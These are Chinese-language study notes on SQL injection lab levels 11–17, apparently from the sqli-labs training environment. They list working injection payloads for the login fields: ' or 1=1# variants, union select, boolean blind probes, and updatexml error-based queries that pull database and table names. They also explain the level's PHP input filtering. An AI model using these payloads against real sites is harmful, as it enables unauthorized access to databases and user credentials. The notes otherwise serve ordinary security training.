less11
用户名提交单引号显示sql语法错误,故存在sql注入
根据单引号报错,在用户名和密码任意行输入 万能密码:‘ or 1=1#
输入后username语句为:SELECT username, password FROM users WHERE username='' or 1=1;
双引号
password语句:Select * from admin where username='admin' and password='' or 1=1#
单引号
还有比如:1'union select 1,database()#
less12
输入双引号有报出sql语法错误
根据双引号报错,语句为:") or 1=1#
less13:
查看注入类型
分别为") or 1=1#
和 ') or 1=1#
两种方式都分别尝试过
结果都一样,只显示进入,但是不显示数据库内容
看来又是盲注了
使用语句:username=admin')and left(database(),1)>'a'#&password=任意密码
二分法或burp工具
less14
引号测试:
username:'")or 1=1#
单引号双引号
password:")or 1=1#
双引号
over~
less15
输入任何内容回显都一样,判断为布尔盲注和时间盲注
语句:’ or 1=1#
less16
同15:" or 1=1# 换成双引号
less17
看源码:
function check_input($value){if(!empty($value)){// truncation (see comments)$value = substr($value,0,15);}// Stripslashes if magic quotes enabledif (get_magic_quotes_gpc()){$value = stripslashes($value);}// Quote if not a numberif (!ctype_digit($value)){$value = "'" . mysql_real_escape_string($value) . "'";}else{$value = intval($value);}return $value;}
知识点:
函数get_magic_quotes_gpc()
当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1
当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0
magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。
在magic_quotes_gpc = On的情况下,如果输入的数据有
单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线。
stripslashes()删除由 addslashes() 函数添加的反斜杠
ctype_digit()判断是不是数字,是数字就返回true,否则返回false
mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。
intval() 整型转换
这一关中不能对username下手 要从passwordd开始
过程:
17关对username进行了严格的过滤
注入的格式:
admin' or updatexml(1, (concat('#',(payload))), 1) #
payload可以换成需要查询的函数
数据库名
admin' or updatexml(1, concat('#', database()), 1) #
表名
updatexml(1, concat("#", (select group_concat(table_name) from information_schema.tables where table_schema="security")), 0) #